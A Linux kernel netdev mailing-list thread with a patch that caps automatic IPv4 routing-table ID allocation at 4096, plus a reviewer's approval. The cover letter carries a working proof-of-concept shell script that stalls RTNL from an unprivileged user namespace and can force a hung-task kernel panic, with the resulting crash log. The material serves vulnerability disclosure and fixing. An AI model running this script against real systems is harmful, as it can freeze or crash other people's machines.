Netdev List
 help / color / mirror / Atom feed
* [PATCH net v3 0/1] ipv4: fib: bound automatic table ID allocation
@ 2026-09-01 10:59 Zihan Xi
  2026-09-01 10:59 ` [PATCH net v3 1/1] " Zihan Xi
  0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-09-01 10:59 UTC (permalink / raw)
  To: netdev
  Cc: David Ahern, Ido Schimmel, David S . Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Patrick McHardy,
	linux-kernel, stable

Hi,

fib_empty_table() scans table IDs from 1 while holding RTNL. IPv4 tables
live in a 256-bucket hash, so a dense set of IDs makes each probe walk a
growing chain. A table-0 IPv4 rule add can therefore stall unrelated
netlink operations.

This automatic assignment ("ip rule ... table 0") is an undocumented
IPv4-only quirk. v1 rewrote the search with a bitmap. Ido Schimmel
suggested bounding the automatically allocated ID instead, and v2/v3 follow
that: stop at 4096.

That is a behavior change on the automatic path only. A table-0 rule
previously received the lowest free ID up to RT_TABLE_MAX (0xFFFFFFFF).
After this patch the search stops at 4096 and the add fails with ENOBUFS if
that range is full. Explicit table IDs, including values above 4096, and
all non-automatic lookups are unchanged.

The automatic path appears unused: IPv6 rejects table 0, ip-rule does not
document it, there are no kernel selftests, and both NetworkManager and
systemd refuse table 0.

The scan is reachable with CAP_NET_ADMIN in a user and net namespace. The
hung-task panic below is only an oracle; it needs root to set global
hung-task sysctls.

Commit 1af5a8c4a11c ("[IPV4]: Increase number of possible routing tables to
2^32") switched the probe to fib_get_table(), but RT_TABLE_MAX was still
255. The unbounded scan first became possible in commit b801f54917b7
("[NET]: Increate RT_TABLE_MAX to 2^32"). Fixes points to that later
commit.

On the unpatched kernel the 150000-table PoC hit a hung-task panic. On the
patched kernel the same PoC finished without a hung-task report; the unused
table-0 auto-assignment path returned ENOBUFS once IDs 1..4096 were
occupied.

Reproducer:

    bash poc.sh userns-demo
    ROUTE_TABLE_COUNT=150000 bash poc.sh root-crash

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail

MODE="${1:-root-crash}"
ROUTE_TABLE_COUNT="${ROUTE_TABLE_COUNT:-150000}"
USERNS_ROUTE_TABLE_COUNT="${USERNS_ROUTE_TABLE_COUNT:-10000}"
PREF="${PREF:-900000}"
SRC_IP="${SRC_IP:-198.51.100.200}"

usage() {
	cat >&2 <<'EOF'
usage:
  bash poc.sh root-crash
  bash poc.sh userns-demo

root-crash:
  Root only. Sets hung-task sysctls, creates a fresh net namespace, populates
  many explicit IPv4 route tables, then triggers one table-unspecified IPv4
  rule add while a second RTNL operation blocks behind it. The expected result
  is a hung-task panic attributed to the long RTNL hold.

userns-demo:
  Re-execs under unshare -Urn and demonstrates:
    1. table persistence after table-0 rule add/delete pairs
    2. route-table prepopulation plus a table-0 rule add reaching lookup N+1
EOF
	exit 1
}

require_root() {
	if [ "$(id -u)" -ne 0 ]; then
		echo "root-crash requires root" >&2
		exit 1
	fi
}

generate_route_batch() {
	local count="$1"
	local batch="$2"

	python3 - "$count" "$batch" <<'PY'
import sys

count = int(sys.argv[1])
batch = sys.argv[2]

with open(batch, "w", encoding="ascii") as f:
    for i in range(1, count + 1):
        f.write(f"route add blackhole 203.0.113.1/32 table {i}\n")
PY
}

route_setup_and_final_add_demo() {
	local count="$1"

	python3 - "$count" "$PREF" "$SRC_IP" <<'PY'
import subprocess
import sys
import time

count = int(sys.argv[1])
pref = sys.argv[2]
src = sys.argv[3]
batch = "/tmp/fib-empty-table-route-batch.txt"

with open(batch, "w", encoding="ascii") as f:
    for i in range(1, count + 1):
        f.write(f"route add blackhole 203.0.113.1/32 table {i}\n")

start = time.monotonic()
subprocess.run(["ip", "-4", "-batch", batch], check=True)
mid = time.monotonic()
subprocess.run(
    ["ip", "-4", "rule", "add", "pref", pref, "from", f"{src}/32", "table", "0"],
    check=True,
)
end = time.monotonic()
out = subprocess.check_output(["ip", "-4", "rule", "show", "pref", pref], text=True)

print(f"route_setup_s={mid - start:.6f}")
print(f"final_add_s={end - mid:.6f}")
print(out.strip())
PY
}

demo_rule_persistence() {
	for i in 1 2 3; do
		local pref=$((100 + i))
		ip -4 rule add pref "$pref" from "198.51.100.$i/32" table 0
		ip -4 rule del pref "$pref" from "198.51.100.$i/32" table 0
	done

	ip -4 rule add pref 200 from 198.51.100.200/32 table 0
	ip -4 rule show pref 200
	ip -4 rule del pref 200 from 198.51.100.200/32 table 0
}

run_userns_inner() {
	echo "[*] Table-0 rule persistence demo"
	demo_rule_persistence

	echo "[*] Route-table prepopulation demo"
	route_setup_and_final_add_demo "$USERNS_ROUTE_TABLE_COUNT"
	ip -4 rule del pref "$PREF" from "$SRC_IP/32" table 0 2>/dev/null || true
}

run_userns_demo() {
	exec unshare -Urn -- env \
		USERNS_ROUTE_TABLE_COUNT="$USERNS_ROUTE_TABLE_COUNT" \
		PREF="$PREF" \
		SRC_IP="$SRC_IP" \
		bash "$0" __userns_inner
}

run_root_crash_inner() {
	local batch="/tmp/fib-empty-table-root-crash-batch.txt"

	generate_route_batch "$ROUTE_TABLE_COUNT" "$batch"
	ip -4 -batch "$batch"

	printf '%s\n' \
		'fib-empty-table-poc: starting final rule add after route-table prepopulation' \
		> /dev/kmsg

	(
		sleep 0.05
		printf '%s\n' \
			'fib-empty-table-poc: helper RTNL op attempting ip link set lo up' \
			> /dev/kmsg
		ip link set lo up
	) &
	local helper_pid=$!

	ip -4 rule add pref "$PREF" from "$SRC_IP/32" table 0
	wait "$helper_pid"
}

run_root_crash() {
	require_root

	sysctl -w \
		kernel.panic_on_warn=0 \
		kernel.softlockup_panic=0 \
		kernel.watchdog_thresh=55 \
		kernel.hung_task_timeout_secs=1 \
		kernel.hung_task_check_interval_secs=1 \
		kernel.hung_task_panic=1 \
		kernel.hung_task_all_cpu_backtrace=1 >/dev/null

	exec unshare -n -- env \
		ROUTE_TABLE_COUNT="$ROUTE_TABLE_COUNT" \
		PREF="$PREF" \
		SRC_IP="$SRC_IP" \
		bash "$0" __root_crash_inner
}

case "$MODE" in
root-crash)
	run_root_crash
	;;
userns-demo)
	run_userns_demo
	;;
__userns_inner)
	run_userns_inner
	;;
__root_crash_inner)
	run_root_crash_inner
	;;
*)
	usage
	;;
esac
------END poc.sh--------

----BEGIN crash log----
[  281.774236] fib-empty-table-poc: starting final rule add after route-table prepopulation
[  282.029352] fib-empty-table-poc: helper RTNL op attempting ip link set lo up
[  283.213038] INFO: task ip:269 blocked for more than 1 seconds.
[  283.213285]       Not tainte
** replaying previous printk message **
[  283.213285]       Not tainted 7.2.0-15794-g1b78070aaef6 #3
[  283.213429] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  283.213454] task:ip              state:D stack:13072 pid:269   tgid:269   ppid:266    task_flags:0x400100 flags:0x00080000
[  283.213507] Call Trace:
[  283.213626]  <TASK>
[  283.213654]  __schedule (kernel/sched/core.c:5520 kernel/sched/core.c:7270)
[  283.299679]  schedule (kernel/sched/core.c:7347 kernel/sched/core.c:7362)
[  283.299981]  schedule_preempt_disabled (kernel/sched/core.c:7419)
[  283.299990]  __mutex_lock.constprop.0 (kernel/locking/mutex.c:726 kernel/locking/mutex.c:821)
[  283.300074]  rtnl_newlink (net/core/rtnetlink.c:80 net/core/rtnetlink.c:366 net/core/rtnetlink.c:4214)
[  283.300328]  ? cred_has_capability.isra.0 (security/selinux/hooks.c:1668)
[  283.300467]  ? __pfx_rtnl_newlink (net/core/rtnetlink.c:3515)
[  283.300471]  rtnetlink_rcv_msg (net/core/rtnetlink.c:7132)
[  283.300479]  ? kmem_cache_alloc_noprof (mm/slub.c:4693 mm/slub.c:4996 mm/slub.c:5010)
[  283.305030]  ? ebitmap_cpy (security/selinux/ss/ebitmap.c:58 (discriminator 2))
[  283.305131]  ? avc_has_perm (include/linux/rcupdate.h:882 security/selinux/avc.c:1164 security/selinux/avc.c:1194)
[  283.305141]  ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:4497)
[  283.305147]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[  283.305315]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[  283.305323]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[  283.305327]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[  283.305445]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[  283.305452]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  283.305593]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  283.305705] RIP: 0033:0x7f5f34e0deec
[  283.305711] RSP: 002b:00007fff80031098 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  283.305763] RAX: ffffffffffffffda RBX: 00007fff80031788 RCX: 00007f5f34e0deec
[  283.305765] RDX: 0000000000000020 RSI: 00007fff800310b0 RDI: 0000000000000003
[  283.305767] RBP: 0000000000000004 R08: 0000000000000000 R09: 0000000000000000
[  283.305769] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff80031ea8
[  283.305770] R13: 00007fff80031780 R14: 0000000000000003 R15: 0000000000000000
[  283.305774]  </TASK>
[  283.307861] INFO: task ip:269 is blocked on a mutex likely owned by task ip:267.
[  283.308103] task:ip              state:R  running task     stack:13072 pid:267   tgid:267   ppid:253    task_flags:0x400100 flags:0x00080000
[  283.308114] Call Trace:
[  283.308116]  <TASK>
[  283.308118]  __schedule (kernel/sched/core.c:5520 kernel/sched/core.c:7270)
[  283.308129]  preempt_schedule_irq (kernel/sched/core.c:7592)
[  283.308131]  irqentry_exit (include/linux/irq-entry-common.h:468 include/linux/irq-entry-common.h:539 kernel/entry/common.c:167)
[  283.308135]  ? irqentry_exit (include/linux/hrtimer_rearm.h:58 include/linux/hrtimer_rearm.h:67 include/linux/irq-entry-common.h:505 include/linux/irq-entry-common.h:542 kernel/entry/common.c:167)
[  283.308138]  asm_sysvec_apic_timer_interrupt (arch/x86/include/asm/idtentry.h:674)
[  283.309934] RIP: 0010:fib_get_table (net/ipv4/fib_frontend.c:147)
[  283.309948] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 40 d6 85 f6 74 23 40 0f b6 c6 48 c1 e0 03 48 03 87 48 05 00 00 eb 05 39 70 10 <74> 08 48 8b 00 48 85 c0 75 f3 c3 cc cc cc cc b8 f0 07 00 00 be fe
All code
========
   0:	90                   	nop
   1:	90                   	nop
   2:	90                   	nop
   3:	90                   	nop
   4:	90                   	nop
   5:	90                   	nop
   6:	90                   	nop
   7:	90                   	nop
   8:	90                   	nop
   9:	90                   	nop
   a:	90                   	nop
   b:	90                   	nop
   c:	90                   	nop
   d:	90                   	nop
   e:	0f 1f 40 d6          	nopl   -0x2a(%rax)
  12:	85 f6                	test   %esi,%esi
  14:	74 23                	je     0x39
  16:	40 0f b6 c6          	movzbl %sil,%eax
  1a:	48 c1 e0 03          	shl    $0x3,%rax
  1e:	48 03 87 48 05 00 00 	add    0x548(%rdi),%rax
  25:	eb 05                	jmp    0x2c
  27:	39 70 10             	cmp    %esi,0x10(%rax)
  2a:*	74 08                	je     0x34		<-- trapping instruction
  2c:	48 8b 00             	mov    (%rax),%rax
  2f:	48 85 c0             	test   %rax,%rax
  32:	75 f3                	jne    0x27
  34:	c3                   	ret
  35:	cc                   	int3
  36:	cc                   	int3
  37:	cc                   	int3
  38:	cc                   	int3
  39:	b8 f0 07 00 00       	mov    $0x7f0,%eax
  3e:	be                   	.byte 0xbe
  3f:	fe                   	.byte 0xfe

Code starting with the faulting instruction
===========================================
   0:	74 08                	je     0xa
   2:	48 8b 00             	mov    (%rax),%rax
   5:	48 85 c0             	test   %rax,%rax
   8:	75 f3                	jne    0xfffffffffffffffd
   a:	c3                   	ret
   b:	cc                   	int3
   c:	cc                   	int3
   d:	cc                   	int3
   e:	cc                   	int3
   f:	b8 f0 07 00 00       	mov    $0x7f0,%eax
  14:	be                   	.byte 0xbe
  15:	fe                   	.byte 0xfe
[  283.309951] RSP: 0018:ffffac760030b8a8 EFLAGS: 00000206
[  283.309955] RAX: ffff8f608e6e7400 RBX: ffff8f60839b4480 RCX: 000000000000003c
[  283.309957] RDX: 0000000000000001 RSI: 00000000000025bd RDI: ffff8f6085dc1f80
[  283.309959] RBP: ffffac760030b960 R08: ffffac760030b850 R09: 0000000000000020
[  283.309960] R10: ffffac760030b960 R11: 0000000000000002 R12: ffff8f6083bb1090
[  283.309962] R13: 0000000000000000 R14: ffff8f6085dc1f80 R15: 00000000000025bd
[  283.310061]  fib4_rule_configure (net/ipv4/fib_rules.c:222 net/ipv4/fib_rules.c:315)
[  283.310212]  fib_newrule (net/core/fib_rules.c:927)
[  283.310348]  ? mas_wr_spanning_store (lib/maple_tree.c:3177)
[  283.310363]  ? __pfx_fib_nl_newrule (net/core/fib_rules.c:1002)
[  283.310367]  ? rtnetlink_rcv_msg (net/core/rtnetlink.c:7132)
[  283.310373]  rtnetlink_rcv_msg (net/core/rtnetlink.c:7132)
[  283.310377]  ? xas_load (lib/xarray.c:239)
[  283.310383]  ? filemap_get_entry (include/linux/rcupdate.h:882 mm/filemap.c:1925)
[  283.310446]  ? avc_has_perm (include/linux/rcupdate.h:882 security/selinux/avc.c:1164 security/selinux/avc.c:1194)
[  283.310452]  ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:4497)
[  283.310456]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[  283.310462]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[  283.310465]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[  283.310468]  ____sys_sendmsg (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2713 (discriminator 1))
[  283.310473]  ___sys_sendmsg (net/socket.c:2767)
[  283.310479]  __sys_sendmsg (net/socket.c:2799)
[  283.310535]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  283.310544]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  283.310549] RIP: 0033:0x7f459504efa3
[  283.310552] RSP: 002b:00007fff8e86dbc8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[  283.310555] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f459504efa3
[  283.310557] RDX: 0000000000000000 RSI: 00007fff8e86dc30 RDI: 0000000000000003
[  283.310558] RBP: 000000006a918a65 R08: 0000000000000001 R09: 0000000000000000
[  283.310560] R10: 00007f45950ceac0 R11: 0000000000000246 R12: 0000000000000001
[  283.310561] R13: 0000000000000000 R14: 00007fff8e86e450 R15: 000055d6921e6020
[  283.310563]  </TASK>
[  283.310578] NMI backtrace for cpu 0
[  283.310626] CPU: 0 UID: 0 PID: 31 Comm: khungtaskd Not tainted 7.2.0-15794-g1b78070aaef6 #3 PREEMPT(lazy) 
[  283.310631] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  283.310693] Call Trace:
[  283.310930]  <TASK>
[  283.310934]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  283.310993]  nmi_cpu_backtrace (lib/nmi_backtrace.c:123)
[  283.311001]  ? __pfx_nmi_raise_cpu_backtrace (usercopy_64.c:?)
[  283.311007]  nmi_trigger_cpumask_backtrace (lib/nmi_backtrace.c:66)
[  283.311010]  sys_info (include/linux/nmi.h:164 lib/sys_info.c:157 lib/sys_info.c:165)
[  283.311013]  watchdog (kernel/hung_task.c:353 kernel/hung_task.c:561)
[  283.311221]  ? __pfx_watchdog (kernel/hung_task.c:426)
[  283.311228]  kthread (kernel/kthread.c:436)
[  283.311332]  ? __pfx_kthread (kernel/kthread.c:948)
[  283.311339]  ret_from_fork (arch/x86/kernel/process.c:158)
[  283.311447]  ? __pfx_kthread (kernel/kthread.c:948)
[  283.311455]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  283.311559]  </TASK>
[  283.311666] Sending NMI from CPU 0 to CPUs 1:
[  283.311788] NMI backtrace for cpu 1
[  283.311797] CPU: 1 UID: 0 PID: 15 Comm: pr/ttyS0 Not tainted 7.2.0-15794-g1b78070aaef6 #3 PREEMPT(lazy) 
[  283.311801] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  283.311803] RIP: 0010:io_serial_out (arch/x86/kernel/early_printk.c:108)
[  283.311812] Code: 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 0f b6 8f d9 00 00 00 89 d0 0f b7 57 08 d3 e6 01 f2 ee <e9> c5 ea 98 00 0f 1f 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90
All code
========
   0:	0f 1f 40 00          	nopl   0x0(%rax)
   4:	90                   	nop
   5:	90                   	nop
   6:	90                   	nop
   7:	90                   	nop
   8:	90                   	nop
   9:	90                   	nop
   a:	90                   	nop
   b:	90                   	nop
   c:	90                   	nop
   d:	90                   	nop
   e:	90                   	nop
   f:	90                   	nop
  10:	90                   	nop
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	f3 0f 1e fa          	endbr64
  18:	0f b6 8f d9 00 00 00 	movzbl 0xd9(%rdi),%ecx
  1f:	89 d0                	mov    %edx,%eax
  21:	0f b7 57 08          	movzwl 0x8(%rdi),%edx
  25:	d3 e6                	shl    %cl,%esi
  27:	01 f2                	add    %esi,%edx
  29:	ee                   	out    %al,(%dx)
  2a:*	e9 c5 ea 98 00       	jmp    0x98eaf4		<-- trapping instruction
  2f:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
  34:	90                   	nop
  35:	90                   	nop
  36:	90                   	nop
  37:	90                   	nop
  38:	90                   	nop
  39:	90                   	nop
  3a:	90                   	nop
  3b:	90                   	nop
  3c:	90                   	nop
  3d:	90                   	nop
  3e:	90                   	nop
  3f:	90                   	nop

Code starting with the faulting instruction
===========================================
   0:	e9 c5 ea 98 00       	jmp    0x98eaca
   5:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
   a:	90                   	nop
   b:	90                   	nop
   c:	90                   	nop
   d:	90                   	nop
   e:	90                   	nop
   f:	90                   	nop
  10:	90                   	nop
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	90                   	nop
  15:	90                   	nop
[  283.311818] RSP: 0018:ffffac7600083d28 EFLAGS: 00000002
[  283.311821] RAX: 0000000000000020 RBX: ffff8f6081152010 RCX: 0000000000000000
[  283.311823] RDX: 00000000000003f8 RSI: 0000000000000000 RDI: ffffffff89a48c60
[  283.311824] RBP: ffffffff89a48c60 R08: 2e322e3720646574 R09: ffffffff87b60400
[  283.311826] R10: 6e69617420746f4e R11: 6f4e202020202020 R12: 000000000000000f
[  283.311827] R13: 0000000000000000 R14: ffffac7600083e88 R15: 0000000000000020
[  283.311844] FS:  0000000000000000(0000) GS:ffff8f6174361000(0000) knlGS:0000000000000000
[  283.311846] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  283.311848] CR2: 0000563528d1fb40 CR3: 0000000005e1a005 CR4: 0000000000370ef0
[  283.311849] Call Trace:
[  283.311993]  <TASK>
[  283.311995]  __serial8250_console_fifo_write (include/linux/serial_core.h:817 drivers/tty/serial/8250/8250_port.c:3287 drivers/tty/serial/8250/8250_port.c:3359)
[  283.312002]  serial8250_console_write (drivers/tty/serial/8250/8250_port.c:3378 drivers/tty/serial/8250/8250_port.c:3429 drivers/tty/serial/8250/8250_port.c:3493)
[  283.312007]  nbcon_emit_next_record (kernel/printk/nbcon.c:1070)
[  283.312054]  nbcon_emit_one (kernel/printk/nbcon.c:1157)
[  283.312058]  nbcon_kthread_func (kernel/printk/nbcon.c:1271)
[  283.312062]  ? __pfx_nbcon_kthread_func (kernel/printk/nbcon.c:1677)
[  283.312066]  kthread (kernel/kthread.c:436)
[  283.312070]  ? __pfx_kthread (kernel/kthread.c:948)
[  283.312073]  ret_from_fork (arch/x86/kernel/process.c:158)
[  283.312076]  ? __pfx_kthread (kernel/kthread.c:948)
[  283.312078]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  283.312083]  </TASK>
[  283.319999] Kernel panic - not syncing: hung_task: blocked tasks
[  293.702918] CPU: 0 UID: 0 PID: 31 Comm: khungtaskd Not tainted 7.2.0-15794-g1b78070aaef6 #3 PREEMPT(lazy) 
[  293.811630] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  293.993807] Call Trace:
[  294.025350]  <TASK>
[  294.043962]  vpanic (kernel/panic.c:651)
[  294.090991]  panic (kernel/panic.c:788)
[  294.141252]  watchdog (kernel/hung_task.c:356 kernel/hung_task.c:561)
[  294.194098]  ? __pfx_watchdog (kernel/hung_task.c:426)
[  294.278730]  kthread (kernel/kthread.c:436)
[  294.329704]  ? __pfx_kthread (kernel/kthread.c:948)
[  294.431305]  ret_from_fork (arch/x86/kernel/process.c:158)
[  294.492124]  ? __pfx_kthread (kernel/kthread.c:948)
[  294.562256]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  294.662989]  </TASK>
[  294.727400] Kernel Offset: 0x6200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[  294.953855] ---[ end Kernel panic - not syncing: hung_task: blocked tasks ]---
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  ipv4: fib: bound automatic table ID allocation

 net/ipv4/fib_rules.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net v3 1/1] ipv4: fib: bound automatic table ID allocation
  2026-09-01 10:59 [PATCH net v3 0/1] ipv4: fib: bound automatic table ID allocation Zihan Xi
@ 2026-09-01 10:59 ` Zihan Xi
  2026-09-01 11:20   ` Petr Vorel
  0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-09-01 10:59 UTC (permalink / raw)
  To: netdev
  Cc: David Ahern, Ido Schimmel, David S . Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Patrick McHardy,
	linux-kernel, stable, Vega

fib_empty_table() probes every table ID from 1 until it finds a
free one.  IPv4 tables are stored in a 256-bucket hash table, so a
dense set of IDs makes each probe walk a growing hash chain while
RTNL is held.

Automatic table assignment ("ip rule ... table 0") is an IPv4-only
legacy path.  Bound the automatically allocated ID to 4096 so the
RTNL hold stays bounded, without changing lookups of explicitly
specified table IDs.

This changes user-visible behavior.  A table-0 rule previously
received the lowest free ID in 1..RT_TABLE_MAX (0xFFFFFFFF).  After
this patch the search stops at 4096 and the rule add fails with
ENOBUFS if that range is fully occupied.  Explicit table IDs above
4096 remain usable.

The automatic path is unused in practice: it is IPv4-only, not
documented by ip-rule, uncovered by kernel selftests, and both
NetworkManager and systemd refuse table 0.

Fixes: b801f54917b7 ("[NET]: Increate RT_TABLE_MAX to 2^32")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Suggested-by: Ido Schimmel <idosch@nvidia.com>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
---
changes in v3:
  - Spell out that table-0 auto-assignment returns ENOBUFS if
    IDs 1..4096 are occupied, while other functionality is
    unchanged.
  - Add Reviewed-by from Ido Schimmel.
  - v2 Link: https://lore.kernel.org/all/7b6bd9bb1bf6bd43db18156f42b2d7f83789a673.1788223735.git.zihanx@nebusec.ai/
changes in v2:
  - Replace the bitmap-based O(N) rewrite with a 4096 cap on
    automatically allocated table IDs, as suggested by Ido Schimmel.
  - Point Fixes: at b801f54917b7, which first raised RT_TABLE_MAX
    to 2^32.  1af5a8c4a11c only switched the probe to a hash lookup
    while the scan was still capped at 255.
  - v1 Link: https://lore.kernel.org/all/0a00492a13038b268c1e0a219c138d07cfab92b3.1787982246.git.zihanx@nebusec.ai/

 net/ipv4/fib_rules.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c
index 4edb0dca7be8..060501b376a8 100644
--- a/net/ipv4/fib_rules.c
+++ b/net/ipv4/fib_rules.c
@@ -214,6 +214,8 @@ INDIRECT_CALLABLE_SCOPE int fib4_rule_match(struct fib_rule *rule,
 	return 1;
 }
 
+#define FIB_MAX_AUTO_TABLE_ID  4096
+
 static struct fib_table *fib_empty_table(struct net *net)
 {
 	u32 id = 1;
@@ -222,7 +224,7 @@ static struct fib_table *fib_empty_table(struct net *net)
 		if (!fib_get_table(net, id))
 			return fib_new_table(net, id);
 
-		if (id++ == RT_TABLE_MAX)
+		if (id++ == FIB_MAX_AUTO_TABLE_ID)
 			break;
 	}
 	return NULL;
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net v3 1/1] ipv4: fib: bound automatic table ID allocation
  2026-09-01 10:59 ` [PATCH net v3 1/1] " Zihan Xi
@ 2026-09-01 11:20   ` Petr Vorel
  0 siblings, 0 replies; 3+ messages in thread
From: Petr Vorel @ 2026-09-01 11:20 UTC (permalink / raw)
  To: zihanx
  Cc: davem, dsahern, edumazet, horms, idosch, kaber, kuba,
	linux-kernel, netdev, pabeni, stable, vega, Petr Vorel

> diff --git a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c
> index 4edb0dca7be8..060501b376a8 100644
> --- a/net/ipv4/fib_rules.c
> +++ b/net/ipv4/fib_rules.c
> @@ -214,6 +214,8 @@ INDIRECT_CALLABLE_SCOPE int fib4_rule_match(struct fib_rule *rule,
>  	return 1;
>  }
>  
> +#define FIB_MAX_AUTO_TABLE_ID  4096
> +
>  static struct fib_table *fib_empty_table(struct net *net)
>  {
>  	u32 id = 1;
> @@ -222,7 +224,7 @@ static struct fib_table *fib_empty_table(struct net *net)
>  		if (!fib_get_table(net, id))
>  			return fib_new_table(net, id);
>  
> -		if (id++ == RT_TABLE_MAX)
> +		if (id++ == FIB_MAX_AUTO_TABLE_ID)
>  			break;
>  	}
>  	return NULL;

Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-09-01 11:20 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-01 10:59 [PATCH net v3 0/1] ipv4: fib: bound automatic table ID allocation Zihan Xi
2026-09-01 10:59 ` [PATCH net v3 1/1] " Zihan Xi
2026-09-01 11:20   ` Petr Vorel

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox